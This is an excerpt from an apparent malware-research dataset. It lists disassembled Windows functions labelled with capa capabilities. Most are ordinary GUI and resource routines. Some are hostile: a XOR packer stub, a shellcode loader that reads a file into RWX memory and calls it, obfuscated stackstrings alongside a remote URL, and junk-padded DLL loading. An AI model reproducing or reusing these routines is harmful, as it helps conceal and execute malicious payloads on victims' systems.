joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45ccf0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x45cd07
add esp, 0xfffffff0
call fcn.004041bc
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041e170
mov eax, dword [0x543e44]
cmp word [eax + 2], 0
jne 0x45cd2f
mov eax, dword [0x543e44]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045e7a0
mov eax, dword [0x543f0c]
cmp word [eax + 2], 0
jne 0x45cd49
mov eax, dword [0x543f0c]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045e9ac
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x415d54]
call fcn.00403e68
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x415d54]
call fcn.00403e68
mov dword [ebx + 0x98], eax
mov dl, 1
mov eax, dword [0x415d54]
call fcn.00403e68
mov dword [ebx + 0xb0], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0xa5], 1
mov byte [ebx + 0xbc], 1
mov dl, 1
mov eax, dword [0x4228f0]
call fcn.00429f84
mov esi, eax
mov dword [ebx + 0xa0], esi
push 0x45cf00
mov eax, dword [0x543d50]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042a358
mov eax, dword [ebx + 0xa0]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x45f06c
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x543d50]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040d68c
test eax, eax
je 0x45ce50
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00409760
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040d6c0
test eax, eax
je 0x45ce64
mov byte [eax], 0
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_CharNextA_1
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404f34
mov byte [ebx + 0xd4], 0
push ebx
push 0x45e300
call fcn.0041f2ec
mov dword [ebx + 0xc8], eax
mov eax, dword [0x543c18]
cmp byte [eax], 0
jne 0x45ceb5
mov eax, ebx
call fcn.0045d044
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0xa6], 1
xor eax, eax
mov dword [ebx + 0xa8], eax
mov eax, ebx
call fcn.0045f248
mov eax, ebx
call fcn.0045fda8
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45cef5
call fcn.00404214
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45d2c4
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x5485b4]
cmp dword [eax + 0x30], 0
je 0x45d36e
cmp dword [ebx + 0x94], 0
jne 0x45d368
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45d254
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45d368
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45d32e
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45d368
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00418188
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45d33d
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45e088
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x45e0bd
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404db4
jmp 0x45e0ca
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404d18
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45f42c
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45f49a
mov eax, esi
call fcn.00449b98
test al, al
je 0x45f49a
mov eax, dword [ebx + 0x84]
call fcn.004497f8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45f49a
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xf0]
test al, al
je 0x45f48e
push 0
mov eax, dword [ebx + 0x84]
call fcn.004497f8
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.00441c18
jmp 0x45f49a
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.0045f268
pop esi
pop ebx
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x7b6e37dc
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x42e060
nop
mov eax, section..text_1
nop
nop
nop
cmp eax, 0
nop
je 0x42e0d2
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x30677a59
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x40ae94
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44b090
push 0x426288
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push SysReAllocString
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40af79
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40af05
push 0x40
push 0x1000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x20], eax
cmp eax, edi
jne 0x40af0e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40af79
push edi
lea ecx, [ebp - 0x1c]
push ecx
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x24], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x24], edi
je 0x40af6a
cmp dword [ebp - 0x1c], ebx
jne 0x40af6a
mov dword [ebp - 4], edi
call dword [ebp - 0x20]
or dword [ebp - 4], 0xffffffff
push 0x8000
push edi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x40af7c
push 0x8000
push edi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 1
pop eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40af8b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x445f98
call fcn.00425bdc
sub esp, 0x44
and byte [ebp - 0x3c], 0
and dword [ebp - 4], 0
push ebx
push esi
push edi
lea eax, [ebp - 0x18]
mov dword [ebp - 0x10], esp
push 0x4541a8
push eax
mov byte [ebp - 0x50], 0x43
mov byte [ebp - 0x4f], 0x3a
mov byte [ebp - 0x4e], 0x5c
mov byte [ebp - 0x4d], 0x50
mov byte [ebp - 0x4c], 0x72
mov byte [ebp - 0x4b], 0x6f
mov byte [ebp - 0x4a], 0x67
mov byte [ebp - 0x49], 0x72
mov byte [ebp - 0x48], 0x61
mov byte [ebp - 0x47], 0x6d
mov byte [ebp - 0x46], 0x44
mov byte [ebp - 0x45], 0x61
mov byte [ebp - 0x44], 0x74
mov byte [ebp - 0x43], 0x61
mov byte [ebp - 0x42], 0x5c
mov byte [ebp - 0x41], 0x33
mov byte [ebp - 0x40], 0x2e
mov byte [ebp - 0x3f], 0x54
mov byte [ebp - 0x3e], 0x58
mov byte [ebp - 0x3d], 0x54
mov dword [ebp - 0x18], 0x39
call fcn.004263db
lea eax, [ebp - 0x50]
push eax
call fcn.0040ae94
test eax, eax
pop ecx
je 0x40b0ec
mov al, byte [ebp - 0x11]
xor edi, edi
push edi
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x38], al
call fcn.0040be14
lea eax, [ebp - 0x50]
push eax
call fcn.00426360
pop ecx
push eax
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x38]
call fcn.0040bf22
mov al, byte [ebp - 0x11]
push edi
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 2
mov byte [ebp - 0x28], al
call fcn.0040be14
mov esi, str.https:__fs_im_kefu.7moor_fs1.com_ly_4d2c3f00_7d4c_11e5_af15_41bf63ae4ea0_1722324578615_tian.txt
push esi
call fcn.00426360
pop ecx
push eax
push esi
lea ecx, [ebp - 0x28]
call fcn.0040bf22
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040ac59
mov bl, al
pop ecx
neg bl
pop ecx
mov byte [ebp - 4], 2
sbb bl, bl
push 1
lea ecx, [ebp - 0x28]
inc bl
call fcn.0040be14
push 1
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 1
call fcn.0040be14
test bl, bl
je 0x40b0c1
push edi
push 0x45e4f8
push 0x45e4ec
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 0x40b0e7
ret
lea eax, [ebp - 0x50]
push eax
call fcn.0040ae94
test eax, eax
pop ecx
je 0x40b0ec
push edi
push 0x45e4f8
push 0x45e4dc
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 0x40b0e7
ret
mov eax, 0x40b0f2
ret
Function at 0x40f904
Capabilities:
Reference sql statements

Disassembly:
mov eax, 0x446cfc
call fcn.00425bdc
sub esp, 0x44
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov eax, dword [0x460098]
xor esi, esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], esi
push str.SELECT__FROM_PAYMODE_WHERE_NAME
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call fcn.0043cf98
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0043d03e
push 0x45d1d4
push eax
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 3
push eax
call fcn.0043d0a4
push eax
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 4
call fcn.0043cf48
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 3
call fcn.0043ce0f
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 2
call fcn.0043ce0f
push 7
push esi
push str.ADODB.Recordset
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 5
call fcn.00403bea
mov eax, dword [0x4642c0]
mov word [ebp - 0x40], 9
mov dword [ebp - 0x38], eax
push eax
mov ecx, dword [eax]
call dword [ecx + 4]
mov edi, dword [ebp - 0x18]
mov byte [ebp - 4], 6
push edi
mov word [ebp - 0x30], 8
call fcn.00430429
cmp eax, esi
mov dword [ebp - 0x28], eax
jne 0x40f9d1
cmp edi, esi
je 0x40f9d1
push 0x8007000e
call fcn.0043037c
cmp dword [ebp - 0x14], esi
mov byte [ebp - 4], 7
jne 0x40f9e4
push 0x80004003
call fcn.0043037c
push 1
push 3
push 3
lea esi, [ebp - 0x40]
sub esp, 0x10
mov ebx, dword [ebp - 0x14]
mov edi, esp
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x30]
mov edi, esp
movsd dword es:[edi], dword [esi]
mov eax, dword [ebx]
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [eax + 0xa0]
xor edi, edi
cmp eax, edi
jge 0x40fa20
push 0x45d220
push ebx
push eax
call fcn.0043038a
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x30]
push eax
mov byte [ebp - 4], 6
call esi
cmp eax, edi
jge 0x40fa3a
push eax
call fcn.0043037c
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 5
push eax
call esi
cmp eax, edi
jge 0x40fa4e
push eax
call fcn.0043037c
cmp dword [ebp - 0x14], edi
mov esi, 0x80004003
jne 0x40fa5e
push esi
call fcn.0043037c
mov ecx, dword [ebp - 0x14]
call fcn.00403b20
cmp ax, di
je 0x40fa6e
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x14], edi
jne 0x40fa79
push esi
call fcn.0043037c
mov ecx, dword [ebp - 0x14]
call fcn.00403b20
cmp ax, di
jne 0x40fa8d
mov dword [ebp - 0x20], 1
cmp dword [ebp - 0x14], edi
jne 0x40fa98
push esi
call fcn.0043037c
mov ecx, dword [ebp - 0x14]
call fcn.00403b48
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 1
test eax, eax
je 0x40fab4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
and byte [ebp - 4], 0
lea ecx, [ebp - 0x18]
call fcn.0043ce0f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0043ce0f
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x20]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 4
Function at 0x41d72e
Capabilities:
Reference sql statements

Disassembly:
mov eax, 0x448e08
call fcn.00425bdc
sub esp, 0x44
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov eax, dword [0x460098]
xor esi, esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], esi
push str.SELECT__FROM_USERS_WHERE_NAME
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call fcn.0043cf98
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0043d03e
push 0x45d1d4
push eax
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 3
push eax
call fcn.0043d0a4
push eax
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 4
call fcn.0043cf48
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 3
call fcn.0043ce0f
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 2
call fcn.0043ce0f
push 7
push esi
push str.ADODB.Recordset
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 5
call fcn.00403bea
mov eax, dword [0x4642c0]
mov word [ebp - 0x40], 9
mov dword [ebp - 0x38], eax
push eax
mov ecx, dword [eax]
call dword [ecx + 4]
mov edi, dword [ebp - 0x18]
mov byte [ebp - 4], 6
push edi
mov word [ebp - 0x30], 8
call fcn.00430429
cmp eax, esi
mov dword [ebp - 0x28], eax
jne 0x41d7fb
cmp edi, esi
je 0x41d7fb
push 0x8007000e
call fcn.0043037c
cmp dword [ebp - 0x14], esi
mov byte [ebp - 4], 7
jne 0x41d80e
push 0x80004003
call fcn.0043037c
push 1
push 3
push 3
lea esi, [ebp - 0x40]
sub esp, 0x10
mov ebx, dword [ebp - 0x14]
mov edi, esp
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x30]
mov edi, esp
movsd dword es:[edi], dword [esi]
mov eax, dword [ebx]
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [eax + 0xa0]
xor edi, edi
cmp eax, edi
jge 0x41d84a
push 0x45d220
push ebx
push eax
call fcn.0043038a
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x30]
push eax
mov byte [ebp - 4], 6
call esi
cmp eax, edi
jge 0x41d864
push eax
call fcn.0043037c
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 5
push eax
call esi
cmp eax, edi
jge 0x41d878
push eax
call fcn.0043037c
cmp dword [ebp - 0x14], edi
mov esi, 0x80004003
jne 0x41d888
push esi
call fcn.0043037c
mov ecx, dword [ebp - 0x14]
call fcn.00403b20
cmp ax, di
je 0x41d898
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x14], edi
jne 0x41d8a3
push esi
call fcn.0043037c
mov ecx, dword [ebp - 0x14]
call fcn.00403b20
cmp ax, di
jne 0x41d8b7
mov dword [ebp - 0x20], 1
cmp dword [ebp - 0x14], edi
jne 0x41d8c2
push esi
call fcn.0043037c
mov ecx, dword [ebp - 0x14]
call fcn.00403b48
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 1
test eax, eax
je 0x41d8de
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
and byte [ebp - 4], 0
lea ecx, [ebp - 0x18]
call fcn.0043ce0f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0043ce0f
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x20]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 4
Function at 0x436030
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.00425e30
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x4360fb
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x4360fb
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x4360ae
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x4360b9
or bh, 8
and edi, 0x8000000
je 0x4360d4
mov eax, dword [0x467f9c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x4360fb
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4364d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4364fb
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x43651f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x43653a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x438f96
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x438fb8
cmp dword [edi + 0x3c], 0
jne 0x438fb8
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.00441e4d
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.00438fe5
pop edi
pop esi
pop ebx
ret 8

Function at 0x43a60a
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x43a642
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0043d203
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0043d1db
jmp 0x43a64e
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x43bc3d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x43bc7f
call fcn.00441e4d
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x43bc7f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x43bc76
xor eax, eax
jmp 0x43bc87
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0043bc8d
pop edi
pop esi
pop ebx
ret 4
Function at 0x10004770
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, ebx
mov eax, ebx
mov eax, 0x70c1d28e
inc eax
inc eax
cmp eax, 0x6dd7e90
mov eax, ecx
mov eax, ebx
cmp eax, 0xcbc52726
nop
cmp eax, 0x3e
cmp eax, 0xffffffd7
mov eax, ecx
mov eax, 0xe5993d34
mov eax, ebx
inc eax
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov eax, 0x4be931a9
cmp eax, 0x3d
mov eax, 0x231a21e1
nop
cmp eax, 0x5f
inc eax
cmp eax, 0x648cb51a
mov eax, ecx
inc eax
mov eax, 0xe1ef7a62
cmp eax, 0xa87c1664
nop
nop
inc eax
inc eax
nop
inc eax
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, 0xffffffbd
nop
nop
mov eax, ebx
cmp eax, 0x2dbce03
mov eax, ecx
mov eax, ecx
mov eax, ebx
mov eax, ecx
cmp eax, 0x20
nop
mov eax, 0xd20ae569
nop
cmp eax, 0x2c5df8e
mov eax, ebx
mov eax, ecx
inc eax
mov eax, ecx
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
push 0x1002beb4
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
nop
mov eax, ecx
mov eax, ebx
cmp eax, 0x3e
mov eax, ecx
mov eax, ecx
mov eax, 0xec354e32
mov eax, ecx
nop
cmp eax, 0xd682e041
inc eax
mov eax, ecx
mov eax, ecx
inc eax
cmp eax, 0xbfe9bcc7
cmp eax, 0x36
nop
nop
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x1003e22c], eax
cmp eax, 0x9ad54df2
cmp eax, 0xc1a9a2d2
mov eax, 0xdc9f190d
cmp eax, 0x2363769e
cmp eax, 0x45
mov eax, ecx
cmp eax, 0xffffff84
cmp eax, 0x4f
nop
mov eax, 0x72db14ac
mov eax, ebx
cmp eax, 0xe
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
cmp dword [0x1003e22c], 0
jne 0x1000491f
push 0x41030
push str.DllWrap
push str.miss
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov eax, ebx
nop
cmp eax, 0xac2e3b90
cmp eax, 0xf58a0baa
inc eax
cmp eax, 0xef5a503f
mov eax, ebx
mov eax, ecx
nop
mov eax, ecx
mov eax, ebx
mov eax, ecx
mov eax, 0x65947187
cmp eax, 0x13
cmp eax, 0x57
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
cmp dword [0x1003e22c], 0
je 0x10004931
mov dword [ebp - 4], 1
jmp 0x10004938
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret